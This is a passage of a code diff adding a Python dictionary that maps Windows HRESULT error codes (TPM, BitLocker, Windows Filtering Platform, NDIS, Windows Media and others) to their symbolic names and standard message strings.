+        0x8028004D: ("TPM_E_DELEGATE_ADMIN", "Delegation table management not enabled."),
+        0x8028004E: ("TPM_E_TRANSPORT_NOTEXCLUSIVE", "There was a command executed outside an exclusive transport session."),
+        0x8028004F: ("TPM_E_OWNER_CONTROL", "Attempt to context save an owner evict controlled key."),
+        0x80280050: ("TPM_E_DAA_RESOURCES", "The DAA command has no resources available to execute the command."),
+        0x80280051: ("TPM_E_DAA_INPUT_DATA0", "The consistency check on DAA parameter inputData0 has failed."),
+        0x80280052: ("TPM_E_DAA_INPUT_DATA1", "The consistency check on DAA parameter inputData1 has failed."),
+        0x80280053: ("TPM_E_DAA_ISSUER_SETTINGS", "The consistency check on DAA_issuerSettings has failed."),
+        0x80280054: ("TPM_E_DAA_TPM_SETTINGS", "The consistency check on DAA_tpmSpecific has failed."),
+        0x80280055: ("TPM_E_DAA_STAGE", "The atomic process indicated by the submitted DAA command is not the expected process."),
+        0x80280056: ("TPM_E_DAA_ISSUER_VALIDITY", "The issuer's validity check has detected an inconsistency."),
+        0x80280057: ("TPM_E_DAA_WRONG_W", "The consistency check on w has failed."),
+        0x80280058: ("TPM_E_BAD_HANDLE", "The handle is incorrect."),
+        0x80280059: ("TPM_E_BAD_DELEGATE", "Delegation is not correct."),
+        0x8028005A: ("TPM_E_BADCONTEXT", "The context blob is invalid."),
+        0x8028005B: ("TPM_E_TOOMANYCONTEXTS", "Too many contexts held by the TPM."),
+        0x8028005C: ("TPM_E_MA_TICKET_SIGNATURE", "Migration authority signature validation failure."),
+        0x8028005D: ("TPM_E_MA_DESTINATION", "Migration destination not authenticated."),
+        0x8028005E: ("TPM_E_MA_SOURCE", "Migration source incorrect."),
+        0x8028005F: ("TPM_E_MA_AUTHORITY", "Incorrect migration authority."),
+        0x80280061: ("TPM_E_PERMANENTEK", "Attempt to revoke the EK and the EK is not revocable."),
+        0x80280062: ("TPM_E_BAD_SIGNATURE", "Bad signature of CMK ticket."),
+        0x80280063: ("TPM_E_NOCONTEXTSPACE", "There is no room in the context list for additional contexts."),
+        0x80280400: ("TPM_E_COMMAND_BLOCKED", "The command was blocked."),
+        0x80280401: ("TPM_E_INVALID_HANDLE", "The specified handle was not found."),
+        0x80280402: ("TPM_E_DUPLICATE_VHANDLE", "The TPM returned a duplicate handle and the command needs to be resubmitted."),
+        0x80280403: ("TPM_E_EMBEDDED_COMMAND_BLOCKED", "The command within the transport was blocked."),
+        0x80280404: ("TPM_E_EMBEDDED_COMMAND_UNSUPPORTED", "The command within the transport is not supported."),
+        0x80280800: ("TPM_E_RETRY", "The TPM is too busy to respond to the command immediately, but the command could be resubmitted at a later time."),
+        0x80280801: ("TPM_E_NEEDS_SELFTEST", "SelfTestFull has not been run."),
+        0x80280802: ("TPM_E_DOING_SELFTEST", "The TPM is currently executing a full self-test."),
+        0x80280803: ("TPM_E_DEFEND_LOCK_RUNNING", "The TPM is defending against dictionary attacks and is in a time-out period."),
+        0x80284001: ("TBS_E_INTERNAL_ERROR", "An internal software error has been detected."),
+        0x80284002: ("TBS_E_BAD_PARAMETER", "One or more input parameters are bad."),
+        0x80284003: ("TBS_E_INVALID_OUTPUT_POINTER", "A specified output pointer is bad."),
+        0x80284004: ("TBS_E_INVALID_CONTEXT", "The specified context handle does not refer to a valid context."),
+        0x80284005: ("TBS_E_INSUFFICIENT_BUFFER", "A specified output buffer is too small."),
+        0x80284006: ("TBS_E_IOERROR", "An error occurred while communicating with the TPM."),
+        0x80284007: ("TBS_E_INVALID_CONTEXT_PARAM", "One or more context parameters are invalid."),
+        0x80284008: ("TBS_E_SERVICE_NOT_RUNNING", "The TPM Base Services (TBS) is not running and could not be started."),
+        0x80284009: ("TBS_E_TOO_MANY_TBS_CONTEXTS", "A new context could not be created because there are too many open contexts."),
+        0x8028400A: ("TBS_E_TOO_MANY_RESOURCES", "A new virtual resource could not be created because there are too many open virtual resources."),
+        0x8028400B: ("TBS_E_SERVICE_START_PENDING", "The TBS service has been started but is not yet running."),
+        0x8028400C: ("TBS_E_PPI_NOT_SUPPORTED", "The physical presence interface is not supported."),
+        0x8028400D: ("TBS_E_COMMAND_CANCELED", "The command was canceled."),
+        0x8028400E: ("TBS_E_BUFFER_TOO_LARGE", "The input or output buffer is too large."),
+        0x80290100: ("TPMAPI_E_INVALID_STATE", "The command buffer is not in the correct state."),
+        0x80290101: ("TPMAPI_E_NOT_ENOUGH_DATA", "The command buffer does not contain enough data to satisfy the request."),
+        0x80290102: ("TPMAPI_E_TOO_MUCH_DATA", "The command buffer cannot contain any more data."),
+        0x80290103: ("TPMAPI_E_INVALID_OUTPUT_POINTER", "One or more output parameters was null or invalid."),
+        0x80290104: ("TPMAPI_E_INVALID_PARAMETER", "One or more input parameters are invalid."),
+        0x80290105: ("TPMAPI_E_OUT_OF_MEMORY", "Not enough memory was available to satisfy the request."),
+        0x80290106: ("TPMAPI_E_BUFFER_TOO_SMALL", "The specified buffer was too small."),
+        0x80290107: ("TPMAPI_E_INTERNAL_ERROR", "An internal error was detected."),
+        0x80290108: ("TPMAPI_E_ACCESS_DENIED", "The caller does not have the appropriate rights to perform the requested operation."),
+        0x80290109: ("TPMAPI_E_AUTHORIZATION_FAILED", "The specified authorization information was invalid."),
+        0x8029010A: ("TPMAPI_E_INVALID_CONTEXT_HANDLE", "The specified context handle was not valid."),
+        0x8029010B: ("TPMAPI_E_TBS_COMMUNICATION_ERROR", "An error occurred while communicating with the TBS."),
+        0x8029010C: ("TPMAPI_E_TPM_COMMAND_ERROR", "The TPM returned an unexpected result."),
+        0x8029010D: ("TPMAPI_E_MESSAGE_TOO_LARGE", "The message was too large for the encoding scheme."),
+        0x8029010E: ("TPMAPI_E_INVALID_ENCODING", "The encoding in the binary large object (BLOB) was not recognized."),
+        0x8029010F: ("TPMAPI_E_INVALID_KEY_SIZE", "The key size is not valid."),
+        0x80290110: ("TPMAPI_E_ENCRYPTION_FAILED", "The encryption operation failed."),
+        0x80290111: ("TPMAPI_E_INVALID_KEY_PARAMS", "The key parameters structure was not valid."),
+        0x80290112: ("TPMAPI_E_INVALID_MIGRATION_AUTHORIZATION_BLOB", "The requested supplied data does not appear to be a valid migration authorization BLOB."),
+        0x80290113: ("TPMAPI_E_INVALID_PCR_INDEX", "The specified PCR index was invalid."),
+        0x80290114: ("TPMAPI_E_INVALID_DELEGATE_BLOB", "The data given does not appear to be a valid delegate BLOB."),
+        0x80290115: ("TPMAPI_E_INVALID_CONTEXT_PARAMS", "One or more of the specified context parameters was not valid."),
+        0x80290116: ("TPMAPI_E_INVALID_KEY_BLOB", "The data given does not appear to be a valid key BLOB."),
+        0x80290117: ("TPMAPI_E_INVALID_PCR_DATA", "The specified PCR data was invalid."),
+        0x80290118: ("TPMAPI_E_INVALID_OWNER_AUTH", "The format of the owner authorization data was invalid."),
+        0x80290200: ("TBSIMP_E_BUFFER_TOO_SMALL", "The specified buffer was too small."),
+        0x80290201: ("TBSIMP_E_CLEANUP_FAILED", "The context could not be cleaned up."),
+        0x80290202: ("TBSIMP_E_INVALID_CONTEXT_HANDLE", "The specified context handle is invalid."),
+        0x80290203: ("TBSIMP_E_INVALID_CONTEXT_PARAM", "An invalid context parameter was specified."),
+        0x80290204: ("TBSIMP_E_TPM_ERROR", "An error occurred while communicating with the TPM."),
+        0x80290205: ("TBSIMP_E_HASH_BAD_KEY", "No entry with the specified key was found."),
+        0x80290206: ("TBSIMP_E_DUPLICATE_VHANDLE", "The specified virtual handle matches a virtual handle already in use."),
+        0x80290207: ("TBSIMP_E_INVALID_OUTPUT_POINTER", "The pointer to the returned handle location was null or invalid."),
+        0x80290208: ("TBSIMP_E_INVALID_PARAMETER", "One or more parameters are invalid."),
+        0x80290209: ("TBSIMP_E_RPC_INIT_FAILED", "The RPC subsystem could not be initialized."),
+        0x8029020A: ("TBSIMP_E_SCHEDULER_NOT_RUNNING", "The TBS scheduler is not running."),
+        0x8029020B: ("TBSIMP_E_COMMAND_CANCELED", "The command was canceled."),
+        0x8029020C: ("TBSIMP_E_OUT_OF_MEMORY", "There was not enough memory to fulfill the request."),
+        0x8029020D: ("TBSIMP_E_LIST_NO_MORE_ITEMS", "The specified list is empty, or the iteration has reached the end of the list."),
+        0x8029020E: ("TBSIMP_E_LIST_NOT_FOUND", "The specified item was not found in the list."),
+        0x8029020F: ("TBSIMP_E_NOT_ENOUGH_SPACE", "The TPM does not have enough space to load the requested resource."),
+        0x80290210: ("TBSIMP_E_NOT_ENOUGH_TPM_CONTEXTS", "There are too many TPM contexts in use."),
+        0x80290211: ("TBSIMP_E_COMMAND_FAILED", "The TPM command failed."),
+        0x80290212: ("TBSIMP_E_UNKNOWN_ORDINAL", "The TBS does not recognize the specified ordinal."),
+        0x80290213: ("TBSIMP_E_RESOURCE_EXPIRED", "The requested resource is no longer available."),
+        0x80290214: ("TBSIMP_E_INVALID_RESOURCE", "The resource type did not match."),
+        0x80290215: ("TBSIMP_E_NOTHING_TO_UNLOAD", "No resources can be unloaded."),
+        0x80290216: ("TBSIMP_E_HASH_TABLE_FULL", "No new entries can be added to the hash table."),
+        0x80290217: ("TBSIMP_E_TOO_MANY_TBS_CONTEXTS", "A new TBS context could not be created because there are too many open contexts."),
+        0x80290218: ("TBSIMP_E_TOO_MANY_RESOURCES", "A new virtual resource could not be created because there are too many open virtual resources."),
+        0x80290219: ("TBSIMP_E_PPI_NOT_SUPPORTED", "The physical presence interface is not supported."),
+        0x8029021A: ("TBSIMP_E_TPM_INCOMPATIBLE", "TBS is not compatible with the version of TPM found on the system."),
+        0x80290300: ("TPM_E_PPI_ACPI_FAILURE", "A general error was detected when attempting to acquire the BIOS response to a physical presence command."),
+        0x80290301: ("TPM_E_PPI_USER_ABORT", "The user failed to confirm the TPM operation request."),
+        0x80290302: ("TPM_E_PPI_BIOS_FAILURE", "The BIOS failure prevented the successful execution of the requested TPM operation (for example, invalid TPM operation request, BIOS communication error with the TPM)."),
+        0x80290303: ("TPM_E_PPI_NOT_SUPPORTED", "The BIOS does not support the physical presence interface."),
+        0x80300002: ("PLA_E_DCS_NOT_FOUND", "A Data Collector Set was not found."),
+        0x80300045: ("PLA_E_TOO_MANY_FOLDERS", "Unable to start Data Collector Set because there are too many folders."),
+        0x80300070: ("PLA_E_NO_MIN_DISK", "Not enough free disk space to start Data Collector Set."),
+        0x803000AA: ("PLA_E_DCS_IN_USE", "Data Collector Set is in use."),
+        0x803000B7: ("PLA_E_DCS_ALREADY_EXISTS", "Data Collector Set already exists."),
+        0x80300101: ("PLA_E_PROPERTY_CONFLICT", "Property value conflict."),
+        0x80300102: ("PLA_E_DCS_SINGLETON_REQUIRED", "The current configuration for this Data Collector Set requires that it contain exactly one Data Collector."),
+        0x80300103: ("PLA_E_CREDENTIALS_REQUIRED", "A user account is required to commit the current Data Collector Set properties."),
+        0x80300104: ("PLA_E_DCS_NOT_RUNNING", "Data Collector Set is not running."),
+        0x80300105: ("PLA_E_CONFLICT_INCL_EXCL_API", "A conflict was detected in the list of include and exclude APIs. Do not specify the same API in both the include list and the exclude list."),
+        0x80300106: ("PLA_E_NETWORK_EXE_NOT_VALID", "The executable path specified refers to a network share or UNC path."),
+        0x80300107: ("PLA_E_EXE_ALREADY_CONFIGURED", "The executable path specified is already configured for API tracing."),
+        0x80300108: ("PLA_E_EXE_PATH_NOT_VALID", "The executable path specified does not exist. Verify that the specified path is correct."),
+        0x80300109: ("PLA_E_DC_ALREADY_EXISTS", "Data Collector already exists."),
+        0x8030010A: ("PLA_E_DCS_START_WAIT_TIMEOUT", "The wait for the Data Collector Set start notification has timed out."),
+        0x8030010B: ("PLA_E_DC_START_WAIT_TIMEOUT", "The wait for the Data Collector to start has timed out."),
+        0x8030010C: ("PLA_E_REPORT_WAIT_TIMEOUT", "The wait for the report generation tool to finish has timed out."),
+        0x8030010D: ("PLA_E_NO_DUPLICATES", "Duplicate items are not allowed."),
+        0x8030010E: ("PLA_E_EXE_FULL_PATH_REQUIRED", "When specifying the executable to trace, you must specify a full path to the executable and not just a file name."),
+        0x8030010F: ("PLA_E_INVALID_SESSION_NAME", "The session name provided is invalid."),
+        0x80300110: ("PLA_E_PLA_CHANNEL_NOT_ENABLED", "The Event Log channel Microsoft-Windows-Diagnosis-PLA/Operational must be enabled to perform this operation."),
+        0x80300111: ("PLA_E_TASKSCHED_CHANNEL_NOT_ENABLED", "The Event Log channel Microsoft-Windows-TaskScheduler must be enabled to perform this operation."),
+        0x80310000: ("FVE_E_LOCKED_VOLUME", "The volume must be unlocked before it can be used."),
+        0x80310001: ("FVE_E_NOT_ENCRYPTED", "The volume is fully decrypted and no key is available."),
+        0x80310002: ("FVE_E_NO_TPM_BIOS", "The firmware does not support using a TPM during boot."),
+        0x80310003: ("FVE_E_NO_MBR_METRIC", "The firmware does not use a TPM to perform initial program load (IPL) measurement."),
+        0x80310004: ("FVE_E_NO_BOOTSECTOR_METRIC", "The master boot record (MBR) is not TPM-aware."),
+        0x80310005: ("FVE_E_NO_BOOTMGR_METRIC", "The BOOTMGR is not being measured by the TPM."),
+        0x80310006: ("FVE_E_WRONG_BOOTMGR", "The BOOTMGR component does not perform expected TPM measurements."),
+        0x80310007: ("FVE_E_SECURE_KEY_REQUIRED", "No secure key protection mechanism has been defined."),
+        0x80310008: ("FVE_E_NOT_ACTIVATED", "This volume has not been provisioned for encryption."),
+        0x80310009: ("FVE_E_ACTION_NOT_ALLOWED", "Requested action was denied by the full-volume encryption (FVE) control engine."),
+        0x8031000A: ("FVE_E_AD_SCHEMA_NOT_INSTALLED", "The Active Directory forest does not contain the required attributes and classes to host FVE or TPM information."),
+        0x8031000B: ("FVE_E_AD_INVALID_DATATYPE", "The type of data obtained from Active Directory was not expected."),
+        0x8031000C: ("FVE_E_AD_INVALID_DATASIZE", "The size of the data obtained from Active Directory was not expected."),
+        0x8031000D: ("FVE_E_AD_NO_VALUES", "The attribute read from Active Directory has no (zero) values."),
+        0x8031000E: ("FVE_E_AD_ATTR_NOT_SET", "The attribute was not set."),
+        0x8031000F: ("FVE_E_AD_GUID_NOT_FOUND", "The specified GUID could not be found."),
+        0x80310010: ("FVE_E_BAD_INFORMATION", "The control block for the encrypted volume is not valid."),
+        0x80310011: ("FVE_E_TOO_SMALL", "Not enough free space remaining on volume to allow encryption."),
+        0x80310012: ("FVE_E_SYSTEM_VOLUME", "The volume cannot be encrypted because it is required to boot the operating system."),
+        0x80310013: ("FVE_E_FAILED_WRONG_FS", "The volume cannot be encrypted because the file system is not supported."),
+        0x80310014: ("FVE_E_FAILED_BAD_FS", "The file system is inconsistent. Run CHKDSK."),
+        0x80310015: ("FVE_E_NOT_SUPPORTED", "This volume cannot be encrypted."),
+        0x80310016: ("FVE_E_BAD_DATA", "Data supplied is malformed."),
+        0x80310017: ("FVE_E_VOLUME_NOT_BOUND", "Volume is not bound to the system."),
+        0x80310018: ("FVE_E_TPM_NOT_OWNED", "TPM must be owned before a volume can be bound to it."),
+        0x80310019: ("FVE_E_NOT_DATA_VOLUME", "The volume specified is not a data volume."),
+        0x8031001A: ("FVE_E_AD_INSUFFICIENT_BUFFER", "The buffer supplied to a function was insufficient to contain the returned data."),
+        0x8031001B: ("FVE_E_CONV_READ", "A read operation failed while converting the volume."),
+        0x8031001C: ("FVE_E_CONV_WRITE", "A write operation failed while converting the volume."),
+        0x8031001D: ("FVE_E_KEY_REQUIRED", "One or more key protection mechanisms are required for this volume."),
+        0x8031001E: ("FVE_E_CLUSTERING_NOT_SUPPORTED", "Cluster configurations are not supported."),
+        0x8031001F: ("FVE_E_VOLUME_BOUND_ALREADY", "The volume is already bound to the system."),
+        0x80310020: ("FVE_E_OS_NOT_PROTECTED", "The boot OS volume is not being protected via FVE."),
+        0x80310021: ("FVE_E_PROTECTION_DISABLED", "All protection mechanisms are effectively disabled (clear key exists)."),
+        0x80310022: ("FVE_E_RECOVERY_KEY_REQUIRED", "A recovery key protection mechanism is required."),
+        0x80310023: ("FVE_E_FOREIGN_VOLUME", "This volume cannot be bound to a TPM."),
+        0x80310024: ("FVE_E_OVERLAPPED_UPDATE", "The control block for the encrypted volume was updated by another thread. Try again."),
+        0x80310025: ("FVE_E_TPM_SRK_AUTH_NOT_ZERO", "The SRK authentication of the TPM is not zero and, therefore, is not compatible."),
+        0x80310026: ("FVE_E_FAILED_SECTOR_SIZE", "The volume encryption algorithm cannot be used on this sector size."),
+        0x80310027: ("FVE_E_FAILED_AUTHENTICATION", "BitLocker recovery authentication failed."),
+        0x80310028: ("FVE_E_NOT_OS_VOLUME", "The volume specified is not the boot OS volume."),
+        0x80310029: ("FVE_E_AUTOUNLOCK_ENABLED", "Auto-unlock information for data volumes is present on the boot OS volume."),
+        0x8031002A: ("FVE_E_WRONG_BOOTSECTOR", "The system partition boot sector does not perform TPM measurements."),
+        0x8031002B: ("FVE_E_WRONG_SYSTEM_FS", "The system partition file system must be NTFS."),
+        0x8031002C: ("FVE_E_POLICY_PASSWORD_REQUIRED", "Group policy requires a recovery password before encryption may begin."),
+        0x8031002D: ("FVE_E_CANNOT_SET_FVEK_ENCRYPTED", "The volume encryption algorithm and key cannot be set on an encrypted volume."),
+        0x8031002E: ("FVE_E_CANNOT_ENCRYPT_NO_KEY", "A key must be specified before encryption may begin."),
+        0x80310030: ("FVE_E_BOOTABLE_CDDVD", "A bootable CD/DVD is in the system. Remove the CD/DVD and reboot the system."),
+        0x80310031: ("FVE_E_PROTECTOR_EXISTS", "An instance of this key protector already exists on the volume."),
+        0x80310032: ("FVE_E_RELATIVE_PATH", "The file cannot be saved to a relative path."),
+        0x80320001: ("FWP_E_CALLOUT_NOT_FOUND", "The callout does not exist."),
+        0x80320002: ("FWP_E_CONDITION_NOT_FOUND", "The filter condition does not exist."),
+        0x80320003: ("FWP_E_FILTER_NOT_FOUND", "The filter does not exist."),
+        0x80320004: ("FWP_E_LAYER_NOT_FOUND", "The layer does not exist."),
+        0x80320005: ("FWP_E_PROVIDER_NOT_FOUND", "The provider does not exist."),
+        0x80320006: ("FWP_E_PROVIDER_CONTEXT_NOT_FOUND", "The provider context does not exist."),
+        0x80320007: ("FWP_E_SUBLAYER_NOT_FOUND", "The sublayer does not exist."),
+        0x80320008: ("FWP_E_NOT_FOUND", "The object does not exist."),
+        0x80320009: ("FWP_E_ALREADY_EXISTS", "An object with that GUID or LUID already exists."),
+        0x8032000A: ("FWP_E_IN_USE", "The object is referenced by other objects and, therefore, cannot be deleted."),
+        0x8032000B: ("FWP_E_DYNAMIC_SESSION_IN_PROGRESS", "The call is not allowed from within a dynamic session."),
+        0x8032000C: ("FWP_E_WRONG_SESSION", "The call was made from the wrong session and, therefore, cannot be completed."),
+        0x8032000D: ("FWP_E_NO_TXN_IN_PROGRESS", "The call must be made from within an explicit transaction."),
+        0x8032000E: ("FWP_E_TXN_IN_PROGRESS", "The call is not allowed from within an explicit transaction."),
+        0x8032000F: ("FWP_E_TXN_ABORTED", "The explicit transaction has been forcibly canceled."),
+        0x80320010: ("FWP_E_SESSION_ABORTED", "The session has been canceled."),
+        0x80320011: ("FWP_E_INCOMPATIBLE_TXN", "The call is not allowed from within a read-only transaction."),
+        0x80320012: ("FWP_E_TIMEOUT", "The call timed out while waiting to acquire the transaction lock."),
+        0x80320013: ("FWP_E_NET_EVENTS_DISABLED", "Collection of network diagnostic events is disabled."),
+        0x80320014: ("FWP_E_INCOMPATIBLE_LAYER", "The operation is not supported by the specified layer."),
+        0x80320015: ("FWP_E_KM_CLIENTS_ONLY", "The call is allowed for kernel-mode callers only."),
+        0x80320016: ("FWP_E_LIFETIME_MISMATCH", "The call tried to associate two objects with incompatible lifetimes."),
+        0x80320017: ("FWP_E_BUILTIN_OBJECT", "The object is built in and, therefore, cannot be deleted."),
+        0x80320018: ("FWP_E_TOO_MANY_BOOTTIME_FILTERS", "The maximum number of boot-time filters has been reached."),
+        0x80320019: ("FWP_E_NOTIFICATION_DROPPED", "A notification could not be delivered because a message queue is at its maximum capacity."),
+        0x8032001A: ("FWP_E_TRAFFIC_MISMATCH", "The traffic parameters do not match those for the security association context."),
+        0x8032001B: ("FWP_E_INCOMPATIBLE_SA_STATE", "The call is not allowed for the current security association state."),
+        0x8032001C: ("FWP_E_NULL_POINTER", "A required pointer is null."),
+        0x8032001D: ("FWP_E_INVALID_ENUMERATOR", "An enumerator is not valid."),
+        0x8032001E: ("FWP_E_INVALID_FLAGS", "The flags field contains an invalid value."),
+        0x8032001F: ("FWP_E_INVALID_NET_MASK", "A network mask is not valid."),
+        0x80320020: ("FWP_E_INVALID_RANGE", "An FWP_RANGE is not valid."),
+        0x80320021: ("FWP_E_INVALID_INTERVAL", "The time interval is not valid."),
+        0x80320022: ("FWP_E_ZERO_LENGTH_ARRAY", "An array that must contain at least one element that is zero-length."),
+        0x80320023: ("FWP_E_NULL_DISPLAY_NAME", "The displayData.name field cannot be null."),
+        0x80320024: ("FWP_E_INVALID_ACTION_TYPE", "The action type is not one of the allowed action types for a filter."),
+        0x80320025: ("FWP_E_INVALID_WEIGHT", "The filter weight is not valid."),
+        0x80320026: ("FWP_E_MATCH_TYPE_MISMATCH", "A filter condition contains a match type that is not compatible with the operands."),
+        0x80320027: ("FWP_E_TYPE_MISMATCH", "An FWP_VALUE or FWPM_CONDITION_VALUE is of the wrong type."),
+        0x80320028: ("FWP_E_OUT_OF_BOUNDS", "An integer value is outside the allowed range."),
+        0x80320029: ("FWP_E_RESERVED", "A reserved field is nonzero."),
+        0x8032002A: ("FWP_E_DUPLICATE_CONDITION", "A filter cannot contain multiple conditions operating on a single field."),
+        0x8032002B: ("FWP_E_DUPLICATE_KEYMOD", "A policy cannot contain the same keying module more than once."),
+        0x8032002C: ("FWP_E_ACTION_INCOMPATIBLE_WITH_LAYER", "The action type is not compatible with the layer."),
+        0x8032002D: ("FWP_E_ACTION_INCOMPATIBLE_WITH_SUBLAYER", "The action type is not compatible with the sublayer."),
+        0x8032002E: ("FWP_E_CONTEXT_INCOMPATIBLE_WITH_LAYER", "The raw context or the provider context is not compatible with the layer."),
+        0x8032002F: ("FWP_E_CONTEXT_INCOMPATIBLE_WITH_CALLOUT", "The raw context or the provider context is not compatible with the callout."),
+        0x80320030: ("FWP_E_INCOMPATIBLE_AUTH_METHOD", "The authentication method is not compatible with the policy type."),
+        0x80320031: ("FWP_E_INCOMPATIBLE_DH_GROUP", "The Diffie-Hellman group is not compatible with the policy type."),
+        0x80320032: ("FWP_E_EM_NOT_SUPPORTED", "An Internet Key Exchange (IKE) policy cannot contain an Extended Mode policy."),
+        0x80320033: ("FWP_E_NEVER_MATCH", "The enumeration template or subscription will never match any objects."),
+        0x80320034: ("FWP_E_PROVIDER_CONTEXT_MISMATCH", "The provider context is of the wrong type."),
+        0x80320035: ("FWP_E_INVALID_PARAMETER", "The parameter is incorrect."),
+        0x80320036: ("FWP_E_TOO_MANY_SUBLAYERS", "The maximum number of sublayers has been reached."),
+        0x80320037: ("FWP_E_CALLOUT_NOTIFICATION_FAILED", "The notification function for a callout returned an error."),
+        0x80320038: ("FWP_E_INCOMPATIBLE_AUTH_CONFIG", "The IPsec authentication configuration is not compatible with the authentication type."),
+        0x80320039: ("FWP_E_INCOMPATIBLE_CIPHER_CONFIG", "The IPsec cipher configuration is not compatible with the cipher type."),
+        0x80340002: ("ERROR_NDIS_INTERFACE_CLOSING", "The binding to the network interface is being closed."),
+        0x80340004: ("ERROR_NDIS_BAD_VERSION", "An invalid version was specified."),
+        0x80340005: ("ERROR_NDIS_BAD_CHARACTERISTICS", "An invalid characteristics table was used."),
+        0x80340006: ("ERROR_NDIS_ADAPTER_NOT_FOUND", "Failed to find the network interface, or the network interface is not ready."),
+        0x80340007: ("ERROR_NDIS_OPEN_FAILED", "Failed to open the network interface."),
+        0x80340008: ("ERROR_NDIS_DEVICE_FAILED", "The network interface has encountered an internal unrecoverable failure."),
+        0x80340009: ("ERROR_NDIS_MULTICAST_FULL", "The multicast list on the network interface is full."),
+        0x8034000A: ("ERROR_NDIS_MULTICAST_EXISTS", "An attempt was made to add a duplicate multicast address to the list."),
+        0x8034000B: ("ERROR_NDIS_MULTICAST_NOT_FOUND", "At attempt was made to remove a multicast address that was never added."),
+        0x8034000C: ("ERROR_NDIS_REQUEST_ABORTED", "The network interface aborted the request."),
+        0x8034000D: ("ERROR_NDIS_RESET_IN_PROGRESS", "The network interface cannot process the request because it is being reset."),
+        0x8034000F: ("ERROR_NDIS_INVALID_PACKET", "An attempt was made to send an invalid packet on a network interface."),
+        0x80340010: ("ERROR_NDIS_INVALID_DEVICE_REQUEST", "The specified request is not a valid operation for the target device."),
+        0x80340011: ("ERROR_NDIS_ADAPTER_NOT_READY", "The network interface is not ready to complete this operation."),
+        0x80340014: ("ERROR_NDIS_INVALID_LENGTH", "The length of the buffer submitted for this operation is not valid."),
+        0x80340015: ("ERROR_NDIS_INVALID_DATA", "The data used for this operation is not valid."),
+        0x80340016: ("ERROR_NDIS_BUFFER_TOO_SHORT", "The length of the buffer submitted for this operation is too small."),
+        0x80340017: ("ERROR_NDIS_INVALID_OID", "The network interface does not support this OID."),
+        0x80340018: ("ERROR_NDIS_ADAPTER_REMOVED", "The network interface has been removed."),
+        0x80340019: ("ERROR_NDIS_UNSUPPORTED_MEDIA", "The network interface does not support this media type."),
+        0x8034001A: ("ERROR_NDIS_GROUP_ADDRESS_IN_USE", "An attempt was made to remove a token ring group address that is in use by other components."),
+        0x8034001B: ("ERROR_NDIS_FILE_NOT_FOUND", "An attempt was made to map a file that cannot be found."),
+        0x8034001C: ("ERROR_NDIS_ERROR_READING_FILE", "An error occurred while the NDIS tried to map the file."),
+        0x8034001D: ("ERROR_NDIS_ALREADY_MAPPED", "An attempt was made to map a file that is already mapped."),
+        0x8034001E: ("ERROR_NDIS_RESOURCE_CONFLICT", "An attempt to allocate a hardware resource failed because the resource is used by another component."),
+        0x8034001F: ("ERROR_NDIS_MEDIA_DISCONNECTED", "The I/O operation failed because network media is disconnected or the wireless access point is out of range."),
+        0x80340022: ("ERROR_NDIS_INVALID_ADDRESS", "The network address used in the request is invalid."),
+        0x8034002A: ("ERROR_NDIS_PAUSED", "The offload operation on the network interface has been paused."),
+        0x8034002B: ("ERROR_NDIS_INTERFACE_NOT_FOUND", "The network interface was not found."),
+        0x8034002C: ("ERROR_NDIS_UNSUPPORTED_REVISION", "The revision number specified in the structure is not supported."),
+        0x8034002D: ("ERROR_NDIS_INVALID_PORT", "The specified port does not exist on this network interface."),
+        0x8034002E: ("ERROR_NDIS_INVALID_PORT_STATE", "The current state of the specified port on this network interface does not support the requested operation."),
+        0x803400BB: ("ERROR_NDIS_NOT_SUPPORTED", "The network interface does not support this request."),
+        0x80342000: ("ERROR_NDIS_DOT11_AUTO_CONFIG_ENABLED", "The wireless local area network (LAN) interface is in auto-configuration mode and does not support the requested parameter change operation."),
+        0x80342001: ("ERROR_NDIS_DOT11_MEDIA_IN_USE", "The wireless LAN interface is busy and cannot perform the requested operation."),
+        0x80342002: ("ERROR_NDIS_DOT11_POWER_STATE_INVALID", "The wireless LAN interface is shutting down and does not support the requested operation."),
+        0x8DEAD01B: ("TRK_E_NOT_FOUND", "A requested object was not found."),
+        0x8DEAD01C: ("TRK_E_VOLUME_QUOTA_EXCEEDED", "The server received a CREATE_VOLUME subrequest of a SYNC_VOLUMES request, but the ServerVolumeTable size limit for the RequestMachine has already been reached."),
+        0x8DEAD01E: ("TRK_SERVER_TOO_BUSY", "The server is busy, and the client should retry the request at a later time."),
+        0xC0090001: ("ERROR_AUDITING_DISABLED", "The specified event is currently not being audited."),
+        0xC0090002: ("ERROR_ALL_SIDS_FILTERED", "The SID filtering operation removed all SIDs."),
+        0xC0090003: ("ERROR_BIZRULES_NOT_ENABLED", "Business rule scripts are disabled for the calling application."),
+        0xC00D0005: ("NS_E_NOCONNECTION", "There is no connection established with the Windows Media server. The operation failed."),
+        0xC00D0006: ("NS_E_CANNOTCONNECT", "Unable to establish a connection to the server."),
+        0xC00D0007: ("NS_E_CANNOTDESTROYTITLE", "Unable to destroy the title."),
+        0xC00D0008: ("NS_E_CANNOTRENAMETITLE", "Unable to rename the title."),
+        0xC00D0009: ("NS_E_CANNOTOFFLINEDISK", "Unable to offline disk."),
+        0xC00D000A: ("NS_E_CANNOTONLINEDISK", "Unable to online disk."),
+        0xC00D000B: ("NS_E_NOREGISTEREDWALKER", "There is no file parser registered for this type of file."),
+        0xC00D000C: ("NS_E_NOFUNNEL", "There is no data connection established."),
+        0xC00D000D: ("NS_E_NO_LOCALPLAY", "Failed to load the local play DLL."),
+        0xC00D000E: ("NS_E_NETWORK_BUSY", "The network is busy."),
+        0xC00D000F: ("NS_E_TOO_MANY_SESS", "The server session limit was exceeded."),
+        0xC00D0010: ("NS_E_ALREADY_CONNECTED", "The network connection already exists."),
+        0xC00D0011: ("NS_E_INVALID_INDEX", "Index %1 is invalid."),
+        0xC00D0012: ("NS_E_PROTOCOL_MISMATCH", "There is no protocol or protocol version supported by both the client and the server."),
+        0xC00D0013: ("NS_E_TIMEOUT", "The server, a computer set up to offer multimedia content to other computers, could not handle your request for multimedia content in a timely manner. Please try again later."),
+        0xC00D0014: ("NS_E_NET_WRITE", "Error writing to the network."),
+        0xC00D0015: ("NS_E_NET_READ", "Error reading from the network."),
+        0xC00D0016: ("NS_E_DISK_WRITE", "Error writing to a disk."),
+        0xC00D0017: ("NS_E_DISK_READ", "Error reading from a disk."),
+        0xC00D0018: ("NS_E_FILE_WRITE", "Error writing to a file."),
+        0xC00D0019: ("NS_E_FILE_READ", "Error reading from a file."),
+        0xC00D001A: ("NS_E_FILE_NOT_FOUND", "The system cannot find the file specified."),
+        0xC00D001B: ("NS_E_FILE_EXISTS", "The file already exists."),
